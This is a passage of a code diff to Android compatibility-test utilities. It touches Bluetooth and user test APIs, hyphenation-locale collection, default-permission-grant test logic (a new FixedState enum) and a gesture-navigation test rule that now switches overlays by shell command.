 import static com.android.bedstead.nene.utils.Versions.T;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothManager;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
 
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.bedstead.nene.utils.Poll;
+import com.android.bedstead.nene.utils.Versions;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
 /** Test APIs related to bluetooth. */
 public final class Bluetooth {
-
     public static final Bluetooth sInstance = new Bluetooth();
 
     private static final Context sContext = TestApis.context().instrumentedContext();
@@ -47,90 +51,130 @@
             sContext.getSystemService(BluetoothManager.class);
     private static final BluetoothAdapter sBluetoothAdapter = sBluetoothManager.getAdapter();
 
-    private Bluetooth() {
-    }
+    private Bluetooth() {}
 
     /** Enable or disable bluetooth on the device. */
     public void setEnabled(boolean enabled) {
-            if (isEnabled() == enabled) {
-                return;
-            }
+        if (isEnabled() == enabled) {
+            return;
+        }
 
-            if (enabled) {
-                enable();
-            } else {
-                disable();
-            }
+        if (enabled) {
+            enable();
+        } else {
+            disable();
+        }
     }
 
     private void enable() {
-            try (PermissionContext p =
-                         TestApis.permissions()
-                                 .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
-                                         BLUETOOTH_PRIVILEGED)
-                                 .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
-                BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
-                        sContext,
-                        BluetoothAdapter.ACTION_STATE_CHANGED,
-                        this::isStateEnabled).register();
+        try (PermissionContext p = TestApis.permissions()
+                                           .withPermission(BLUETOOTH_CONNECT,
+                                                   INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED)
+                                           .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
+            BlockingBroadcastReceiver r =
+                    BlockingBroadcastReceiver
+                            .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED,
+                                    this::isStateEnabled)
+                            .register();
 
-                try {
-                    boolean returnValue = sBluetoothAdapter.enable();
+            try {
+                boolean returnValue = sBluetoothAdapter.enable();
 
-                    r.awaitForBroadcast();
-                    Poll.forValue("Bluetooth Enabled", this::isEnabled)
-                            .toBeEqualTo(true)
-                            .errorOnFail("Waited for bluetooth to be enabled."
-                                    + " .enable() returned " + returnValue)
-                            .await();
-                } finally {
-                    r.unregisterQuietly();
-                }
+                r.awaitForBroadcast();
+                Poll.forValue("Bluetooth Enabled", this::isEnabled)
+                        .toBeEqualTo(true)
+                        .errorOnFail("Waited for bluetooth to be enabled."
+                                + " .enable() returned " + returnValue)
+                        .await();
+            } finally {
+                r.unregisterQuietly();
             }
-
+        }
     }
 
     private void disable() {
-            try (PermissionContext p =
-                         TestApis.permissions()
-                                 .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
-                                         BLUETOOTH_PRIVILEGED)
-                                 .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
-                BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
-                        sContext,
-                        BluetoothAdapter.ACTION_STATE_CHANGED,
-                        this::isStateDisabled).register();
+        try (PermissionContext p = TestApis.permissions()
+                                           .withPermission(BLUETOOTH_CONNECT,
+                                                   INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED)
+                                           .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
+            BlockingBroadcastReceiver r =
+                    BlockingBroadcastReceiver
+                            .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED,
+                                    this::isStateDisabled)
+                            .register();
 
-                try {
-                    boolean returnValue = sBluetoothAdapter.disable();
+            try {
+                boolean returnValue = sBluetoothAdapter.disable();
 
-                    r.awaitForBroadcast();
-                    Poll.forValue("Bluetooth Enabled", this::isEnabled)
-                            .toBeEqualTo(false)
-                            .errorOnFail("Waited for bluetooth to be disabled."
-                                    + " .disable() returned " + returnValue)
-                            .await();
-                } finally {
-                    r.unregisterQuietly();
-                }
+                r.awaitForBroadcast();
+                Poll.forValue("Bluetooth Enabled", this::isEnabled)
+                        .toBeEqualTo(false)
+                        .errorOnFail("Waited for bluetooth to be disabled."
+                                + " .disable() returned " + returnValue)
+                        .await();
+            } finally {
+                r.unregisterQuietly();
             }
+        }
     }
 
     /** {@code true} if bluetooth is enabled. */
     public boolean isEnabled() {
-            try (PermissionContext p =
-                         TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) {
-                return sBluetoothAdapter.isEnabled();
-            }
+        try (PermissionContext p =
+                        TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) {
+            return sBluetoothAdapter.isEnabled();
+        }
     }
 
     private boolean isStateEnabled(Intent intent) {
-        return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1)
-                        == BluetoothAdapter.STATE_ON;
+        return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_ON;
     }
 
     private boolean isStateDisabled(Intent intent) {
-        return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1)
-                        == BluetoothAdapter.STATE_OFF;
+        return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_OFF;
+    }
+
+    /** The bluetooth UID is associated with multiple packages. Get the main one. */
+    @Experimental
+    public String findPackageName() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(T)) {
+            return "com.android.bluetooth";
+        }
+        // this activity will always be in the package where the rest of Bluetooth lives
+        var sentinelActivity = "com.android.bluetooth.opp.BluetoothOppLauncherActivity";
+        var packageManager = sContext.createContextAsUser(UserHandle.SYSTEM, 0).getPackageManager();
+        var allPackages = packageManager.getPackagesForUid(BLUETOOTH_UID);
+        String matchedPackage = null;
+        for (String candidatePackage : allPackages) {
+            PackageInfo packageInfo;
+            try {
+                packageInfo =
+                        packageManager.getPackageInfo(
+                                candidatePackage,
+                                PackageManager.GET_ACTIVITIES
+                                        | PackageManager.MATCH_ANY_USER
+                                        | PackageManager.MATCH_UNINSTALLED_PACKAGES
+                                        | PackageManager.MATCH_DISABLED_COMPONENTS);
+            } catch (PackageManager.NameNotFoundException e) {
+                // rethrow
+                throw new NeneException(e);
+            }
+            if (packageInfo.activities == null) {
+                continue;
+            }
+            for (var activity : packageInfo.activities) {
+                if (sentinelActivity.equals(activity.name)) {
+                    if (matchedPackage == null) {
+                        matchedPackage = candidatePackage;
+                    } else {
+                        throw new NeneException("multiple main bluetooth packages found");
+                    }
+                }
+            }
+        }
+        if (matchedPackage != null) {
+            return matchedPackage;
+        }
+        throw new NeneException("Could not find main bluetooth package");
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 200feb7..0ce2d7f 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -40,6 +40,7 @@
 import androidx.annotation.Nullable;
 
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.exceptions.NeneException;
@@ -485,6 +486,11 @@
         return mCachedUsers.get(id);
     }
 
+    @Experimental
+    public boolean supportsMultipleUsers() {
+        return UserManager.supportsMultipleUsers();
+    }
+
     static Stream<UserInfo> users() {
         if (Permissions.sIgnorePermissions.get()) {
             return sUserManager.getUsers(
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
index bf2b551..d76c7b9 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
@@ -20,17 +20,23 @@
 import android.util.Log;
 import androidx.annotation.Nullable;
 import com.android.compatibility.common.util.DeviceInfoStore;
+import com.google.common.base.Strings;
 
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.nio.MappedByteBuffer;
 import java.nio.channels.FileChannel;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
@@ -40,6 +46,9 @@
 public final class LocaleDeviceInfo extends DeviceInfo {
     private static final String TAG = "LocaleDeviceInfo";
 
+    private static final Pattern HYPHEN_BINARY_PATTERN = Pattern.compile("hyph-(.*?).hyb");
+    private static final String HYPHEN_BINARY_LOCATION = "/system/usr/hyphen-data/";
+
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
         List<String> locales = Arrays.asList(
@@ -59,6 +68,26 @@
         }
         store.addListResult("icu_locale", icuLocales);
 
+        // Collect hyphenation supported locale
+        List<String> hyphenLocalesList = new ArrayList<>();
+        // Retrieve locale from the file name of binary
+        try (Stream<Path> stream = Files.walk(Paths.get(HYPHEN_BINARY_LOCATION))) {
+            hyphenLocalesList = stream
+                    .filter(file -> !Files.isDirectory(file))
+                    .map(Path::getFileName)
+                    .map(Path::toString)
+                    .filter(HYPHEN_BINARY_PATTERN.asPredicate())
+                    .map(s -> {
+                        Matcher matcher = HYPHEN_BINARY_PATTERN.matcher(s);
+                        return matcher.find() ? Strings.nullToEmpty(matcher.group(1)) : "";
+                    })
+                    .sorted()
+                    .collect(Collectors.toList());
+        } catch (IOException e) {
+            Log.w(TAG,"Hyphenation binary folder is not exist" , e);
+        }
+        store.addListResult("hyphenation_locale", hyphenLocalesList);
+
         collectLocaleDataFilesInfo(store);
     }
 
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index 55fc077..c7a387c 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
 
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index 41a38d4..cdec896 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -18,6 +18,9 @@
 
 import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
 
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.NOT_FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.SUPER_FIXED;
 import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
 
 import static org.junit.Assert.fail;
@@ -150,14 +153,14 @@
      * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
      */
     public void setException(String pkg, String sha256, String... permissions) {
-        HashMap<String, Boolean> permissionsMap = new HashMap<>();
+        HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
         for (String permissionString : permissions) {
             String[] parts = permissionString.trim().split("\\s+");
             if (parts.length != 2) {
                 Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
                 return;
             }
-            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
         }
         mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap));
     }
@@ -174,14 +177,14 @@
      */
     public void setExceptionWithMetadata(String company, String metadata, String pkg,
             String sha256, String... permissions) {
-        HashMap<String, Boolean> permissionsMap = new HashMap<>();
+        HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
         for (String permissionString : permissions) {
             String[] parts = permissionString.trim().split("\\s+");
             if (parts.length != 2) {
                 Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
                 return;
             }
-            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
         }
         mRemoteExceptions.add(new DefaultPermissionGrantException(
                 company, metadata, pkg, sha256, permissionsMap));
@@ -378,9 +381,9 @@
         }
 
         List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
-        for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) {
+        for (Map.Entry<String, UidState.FixedState> entry : exception.permissions.entrySet()) {
             String permission = entry.getKey();
-            Boolean fixed = entry.getValue();
+            UidState.FixedState fixed = entry.getValue();
             if (!requestedPermissions.contains(permission)) {
                 Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName);
                 continue;
@@ -478,7 +481,7 @@
         Context context = getInstrumentation().getTargetContext();
 
         for (PackageInfo pkg : packageInfos.values()) {
-            int targetSdk = pkg.applicationInfo.targetSandboxVersion;
+            int targetSdk = pkg.applicationInfo.targetSdkVersion;
             int uid = pkg.applicationInfo.uid;
 
             for (String permission : pkg.requestedPermissions) {
@@ -512,8 +515,8 @@
                         }
 
                         appendPackagePregrantedPerms(pkg, "split from non-dangerous permission "
-                                        + permission, false, Collections.singleton(extendedPerm),
-                                outUidStates);
+                                        + permission, NOT_FIXED,
+                                Collections.singleton(extendedPerm), outUidStates);
                     }
                 }
             }
@@ -544,7 +547,7 @@
                     }
 
                     appendPackagePregrantedPerms(pkg, "permission " + permissionToAdd
-                                    + " is granted to pre-" + targetSdk + " apps", false,
+                                    + " is granted to pre-" + targetSdk + " apps", NOT_FIXED,
                             Collections.singleton(permissionToAdd), outUidStates);
                 }
             }
@@ -553,6 +556,13 @@
 
     public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
             boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) {
+        appendPackagePregrantedPerms(packageInfo, reason, fixed ? FIXED : NOT_FIXED,
+                pregrantedPerms, outUidStates);
+    }
+
+    public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
+            UidState.FixedState fixed, Set<String> pregrantedPerms,
+            SparseArray<UidState> outUidStates) {
         final int uid = packageInfo.applicationInfo.uid;
         UidState uidState = outUidStates.get(uid);
         if (uidState == null) {
@@ -561,7 +571,7 @@
         }
         for (String requestedPermission : packageInfo.requestedPermissions) {
             if (pregrantedPerms.contains(requestedPermission)) {
-                uidState.addGrantedPermission(packageInfo.packageName, reason, requestedPermission,
+                uidState.addGrantedPermission(packageInfo, reason, requestedPermission,
                         fixed);
             }
         }
@@ -621,8 +631,9 @@
 
                 setPermissionGrantState(packageInfo.packageName, permission, false);
 
+                UidState.FixedState fixedState = uidState.grantedPermissions.valueAt(i);
                 Boolean fixed = grantAsFixedPackageNames.contains(packageInfo.packageName)
-                        || uidState.grantedPermissions.valueAt(i);
+                        || fixedState == SUPER_FIXED || fixedState == FIXED;
 
                 // Weaker grant is fine, e.g. not-fixed instead of fixed.
                 if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName)
@@ -702,9 +713,9 @@
         public class GrantReason {
             public final String reason;
             public final boolean override;
-            public final Boolean fixed;
+            public final FixedState fixed;
 
-            GrantReason(String reason, boolean override, Boolean fixed) {
+            GrantReason(String reason, boolean override, FixedState fixed) {
                 this.reason = reason;
                 this.override = override;
                 this.fixed = fixed;
@@ -726,10 +737,34 @@
             }
         }
 
+        /**
+         * Enum representing if a permission's pregrant condition should be fixed and how it should
+         * interact with other pregrant conditions' fixed status.
+         */
+        public enum FixedState {
+
+            /**
+             * Permission is fixed and when merging with other pregrant conditions it won't lose
+             * fixed status and will override non-fixed status.
+             */
+            SUPER_FIXED,
+
+            /**
+             * Permission is fixed and when merging with other pregrant conditions it may lose
+             * fixed status.
+             */
+            FIXED,
+
+            /**
+             * Permission is not fixed.
+             */
+            NOT_FIXED
+        }
+
         // packageName -> permission -> [reason]
         public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons =
                 new ArrayMap<>();
-        public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>();
+        public ArrayMap<String, FixedState> grantedPermissions = new ArrayMap<>();
 
         public void log() {
             for (String packageName : mGrantReasons.keySet()) {
@@ -780,32 +815,26 @@
             }
         }
 
-        public void addGrantedPermission(String packageName, String reason, String permission,
-                Boolean fixed) {
-            Context context = getInstrumentation().getTargetContext();
+        public void addGrantedPermission(PackageInfo packageInfo, String reason, String permission,
+                FixedState fixed) {
+            String packageName = packageInfo.packageName;
+            int targetSdk = packageInfo.applicationInfo.targetSdkVersion;
 
             // Add permissions split off from the permission to granted
-            try {
-                PackageInfo info = context.getPackageManager().getPackageInfo(packageName, 0);
-                int targetSdk = info.applicationInfo.targetSdkVersion;
-
-                for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
-                    mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
-                                    : reason + " (split from " + permission + ")", extendedPerm,
-                            fixed, false);
-                }
-            } catch (PackageManager.NameNotFoundException e) {
-                // ignore
+            for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
+                mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
+                                : reason + " (split from " + permission + ")", extendedPerm,
+                        fixed, false);
             }
         }
 
         public void overrideGrantedPermission(String packageName, String reason, String permission,
-                Boolean fixed) {
+                FixedState fixed) {
             mergeGrantedPermission(packageName, reason, permission, fixed, true);
         }
 
         public void mergeGrantedPermission(String packageName, String reason, String permission,
-                Boolean fixed, boolean override) {
+                FixedState fixed, boolean override) {
             if (!mGrantReasons.containsKey(packageName)) {
                 mGrantReasons.put(packageName, new ArrayMap<>());
             }
@@ -817,18 +846,22 @@
             mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override,
                     fixed));
 
-            Boolean oldFixed = grantedPermissions.get(permission);
+            FixedState oldFixed = grantedPermissions.get(permission);
             if (oldFixed == null) {
                 grantedPermissions.put(permission, fixed);
             } else {
-                if (override) {
-                    if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) {
+                if (oldFixed != SUPER_FIXED && fixed == SUPER_FIXED) {
+                    Log.w(LOG_TAG, "override already granted permission " + permission + "("
+                            + fixed + ") for " + packageName);
+                    grantedPermissions.put(permission, fixed);
+                } else if (override) {
+                    if (oldFixed == NOT_FIXED && fixed == FIXED) {
                         Log.w(LOG_TAG, "override already granted permission " + permission + "("
                                 + fixed + ") for " + packageName);
                         grantedPermissions.put(permission, fixed);
                     }
                 } else {
-                    if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) {
+                    if (oldFixed == FIXED && fixed == NOT_FIXED) {
                         Log.w(LOG_TAG, "add already granted permission " + permission + "("
                                 + fixed + ") to " + packageName);
                         grantedPermissions.put(permission, fixed);
@@ -846,20 +879,20 @@
         public String pkg;
         public String sha256;
         public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash
-        public Map<String, Boolean> permissions = new HashMap<>();
+        public Map<String, UidState.FixedState> permissions = new HashMap<>();
 
         public boolean hasNonBrandSha256() {
             return !sha256.isEmpty() && !hasBrand;
         }
 
         public DefaultPermissionGrantException(String pkg, String sha256,
-                Map<String, Boolean> permissions) {
+                Map<String, UidState.FixedState> permissions) {
             this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions);
         }
 
         public DefaultPermissionGrantException(String company, String metadata, String pkg,
                 String sha256,
-                Map<String, Boolean> permissions) {
+                Map<String, UidState.FixedState> permissions) {
             this.company = company;
             this.metadata = metadata;
             this.pkg = pkg;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
index ff389a1..4e798df 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
@@ -19,17 +19,15 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Instrumentation;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
+import android.graphics.Insets;
+import android.graphics.Rect;
+import android.os.SystemClock;
 import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.util.ArrayMap;
+import android.view.WindowInsets;
+import android.view.WindowManager;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -37,33 +35,31 @@
 import org.junit.rules.ExternalResource;
 
 import java.io.IOException;
-import java.util.Map;
 
 /**
  * Test rule to enable gesture navigation on the device. Designed to be a {@link ClassRule}.
  */
 public class GestureNavRule extends ExternalResource {
-    private static final String SETTINGS_PACKAGE_NAME = "com.android.settings";
     private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
-    private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+    private static final int NAV_BAR_MODE_3BUTTON = 0;
+    private static final int NAV_BAR_MODE_2BUTTON = 1;
+    private static final int NAV_BAR_MODE_GESTURAL = 2;
+
+    private static final String NAV_BAR_MODE_3BUTTON_OVERLAY =
+            "com.android.internal.systemui.navbar.threebutton";
+    private static final String NAV_BAR_MODE_2BUTTON_OVERLAY =
+            "com.android.internal.systemui.navbar.twobutton";
     private static final String GESTURAL_OVERLAY_NAME =
             "com.android.internal.systemui.navbar.gestural";
 
-    /** Most application's res id must be larger than 0x7f000000 */
-    public static final int MIN_APPLICATION_RES_ID = 0x7f000000;
-    public static final String SETTINGS_CLASS =
-            SETTINGS_PACKAGE_NAME + ".Settings$SystemDashboardActivity";
+    private static final int WAIT_OVERLAY_TIMEOUT = 3000;
+    private static final int PEEK_INTERVAL = 200;
 
-    private final Map<String, Boolean> mSystemGestureOptionsMap = new ArrayMap<>();
     private final Context mTargetContext;
     private final UiDevice mDevice;
+    private final WindowManager mWindowManager;
 
-    // Bounds for actions like swipe and click.
-    private String mEdgeToEdgeNavigationTitle;
-    private String mSystemNavigationTitle;
-    private String mGesturePreferenceTitle;
-    private boolean mConfiguredInSettings;
-    private boolean mRevertOverlay;
+    private final String mOriginalOverlayPackage;
 
     @Override
     protected void before() throws Throwable {
@@ -74,7 +70,9 @@
 
     @Override
     protected void after() {
-        disableGestureNav();
+        if (!mOriginalOverlayPackage.equals(GESTURAL_OVERLAY_NAME)) {
+            disableGestureNav();
+        }
     }
 
     /**
@@ -85,39 +83,16 @@
         Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         mDevice = UiDevice.getInstance(instrumentation);
         mTargetContext = instrumentation.getTargetContext();
-        PackageManager packageManager = mTargetContext.getPackageManager();
-        Resources res;
-        try {
-            res = packageManager.getResourcesForApplication(SETTINGS_PACKAGE_NAME);
-        } catch (PackageManager.NameNotFoundException e) {
-            return;
-        }
-        if (res == null) {
-            return;
-        }
 
-        mEdgeToEdgeNavigationTitle = getSettingsString(res, "edge_to_edge_navigation_title");
-        mGesturePreferenceTitle = getSettingsString(res, "gesture_preference_title");
-        mSystemNavigationTitle = getSettingsString(res, "system_navigation_title");
-
-        String text = getSettingsString(res, "edge_to_edge_navigation_title");
-        if (text != null) {
-            mSystemGestureOptionsMap.put(text, false);
-        }
-        text = getSettingsString(res, "swipe_up_to_switch_apps_title");
-        if (text != null) {
-            mSystemGestureOptionsMap.put(text, false);
-        }
-        text = getSettingsString(res, "legacy_navigation_title");
-        if (text != null) {
-            mSystemGestureOptionsMap.put(text, false);
-        }
-
-        mConfiguredInSettings = false;
+        mOriginalOverlayPackage = getCurrentOverlayPackage();
+        mWindowManager = mTargetContext.getSystemService(WindowManager.class);
     }
 
     @SuppressWarnings("BooleanMethodIsAlwaysInverted")
     private boolean hasSystemGestureFeature() {
+        if (!containsNavigationBar()) {
+            return false;
+        }
         final PackageManager pm = mTargetContext.getPackageManager();
 
         // No bars on embedded devices.
@@ -128,59 +103,21 @@
                 || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
     }
 
-
-    private UiObject2 findSystemNavigationObject(String text, boolean addCheckSelector) {
-        BySelector widgetFrameSelector = By.res("android", "widget_frame");
-        BySelector checkboxSelector = By.checkable(true);
-        if (addCheckSelector) {
-            checkboxSelector = checkboxSelector.checked(true);
+    private String getCurrentOverlayPackage() {
+        final int currentNavMode = getCurrentNavMode();
+        switch (currentNavMode) {
+            case NAV_BAR_MODE_GESTURAL:
+                return GESTURAL_OVERLAY_NAME;
+            case NAV_BAR_MODE_2BUTTON:
+                return NAV_BAR_MODE_2BUTTON_OVERLAY;
+            case NAV_BAR_MODE_3BUTTON:
+            default:
+                return NAV_BAR_MODE_3BUTTON_OVERLAY;
         }
-        BySelector textSelector = By.text(text);
-        BySelector targetSelector = By.hasChild(widgetFrameSelector).hasDescendant(textSelector)
-                .hasDescendant(checkboxSelector);
-
-        return mDevice.findObject(targetSelector);
     }
 
-    private boolean launchToSettingsSystemGesture() {
-
-        // Open the Settings app as close as possible to the gesture Fragment
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        ComponentName settingComponent = new ComponentName(SETTINGS_PACKAGE_NAME, SETTINGS_CLASS);
-        intent.setComponent(settingComponent);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
-        mTargetContext.startActivity(intent);
-
-        // Wait for the app to appear
-        mDevice.wait(Until.hasObject(By.pkg("com.android.settings").depth(0)),
-                5000);
-        mDevice.wait(Until.hasObject(By.text(mGesturePreferenceTitle)), 5000);
-        if (mDevice.findObject(By.text(mGesturePreferenceTitle)) == null) {
-            return false;
-        }
-        mDevice.findObject(By.text(mGesturePreferenceTitle)).click();
-        mDevice.wait(Until.hasObject(By.text(mSystemNavigationTitle)), 5000);
-        if (mDevice.findObject(By.text(mSystemNavigationTitle)) == null) {
-            return false;
-        }
-        mDevice.findObject(By.text(mSystemNavigationTitle)).click();
-        mDevice.wait(Until.hasObject(By.text(mEdgeToEdgeNavigationTitle)), 5000);
-
-        return mDevice.hasObject(By.text(mEdgeToEdgeNavigationTitle));
-    }
-
-    private void leaveSettings() {
-        mDevice.pressBack(); /* Back to Gesture */
-        mDevice.waitForIdle();
-        mDevice.pressBack(); /* Back to System */
-        mDevice.waitForIdle();
-        mDevice.pressBack(); /* back to Settings */
-        mDevice.waitForIdle();
-        mDevice.pressBack(); /* Back to Home */
-        mDevice.waitForIdle();
-
-        mDevice.pressHome(); /* double confirm back to home */
-        mDevice.waitForIdle();
+    private void insetsToRect(Insets insets, Rect outRect) {
+        outRect.set(insets.left, insets.top, insets.right, insets.bottom);
     }
 
     private void enableGestureNav() {
@@ -188,71 +125,68 @@
             return;
         }
         try {
-            if (mDevice.executeShellCommand("cmd overlay list").contains(GESTURAL_OVERLAY_NAME)) {
+            if (!mDevice.executeShellCommand("cmd overlay list").contains(GESTURAL_OVERLAY_NAME)) {
+                return;
+            }
+        } catch (IOException ignore) {
+            //
+        }
+        monitorOverlayChange(() -> {
+            try {
                 mDevice.executeShellCommand("cmd overlay enable " + GESTURAL_OVERLAY_NAME);
-                mDevice.waitForIdle();
+            } catch (IOException e) {
+                // Do nothing
             }
-        } catch (IOException e) {
-            // Do nothing
-        }
-
-        if (isGestureMode()) {
-            mRevertOverlay = true;
-            return;
-        }
-
-        // Set up the gesture navigation by enabling it via the Settings app
-        boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture();
-        if (isOperatedSettingsToExpectedOption) {
-            for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) {
-                UiObject2 uiObject2 = findSystemNavigationObject(entry.getKey(), true);
-                entry.setValue(uiObject2 != null);
-            }
-            UiObject2 edgeToEdgeObj = mDevice.findObject(By.text(mEdgeToEdgeNavigationTitle));
-            if (edgeToEdgeObj != null) {
-                edgeToEdgeObj.click();
-                mConfiguredInSettings = true;
-            }
-        }
-        mDevice.waitForIdle();
-        leaveSettings();
-
-        mDevice.pressHome();
-        mDevice.waitForIdle();
-
-        mDevice.waitForIdle();
+        });
     }
 
-    /**
-     * Restore the original configured value for the system gesture by operating Settings.
-     */
     private void disableGestureNav() {
         if (!hasSystemGestureFeature()) {
             return;
         }
-
-        if (mRevertOverlay) {
+        monitorOverlayChange(() -> {
             try {
-                mDevice.executeShellCommand("cmd overlay disable " + GESTURAL_OVERLAY_NAME);
-            } catch (IOException e) {
+                mDevice.executeShellCommand("cmd overlay enable " + mOriginalOverlayPackage);
+            } catch (IOException ignore) {
                 // Do nothing
             }
-            if (!isGestureMode()) {
-                return;
-            }
-        }
+        });
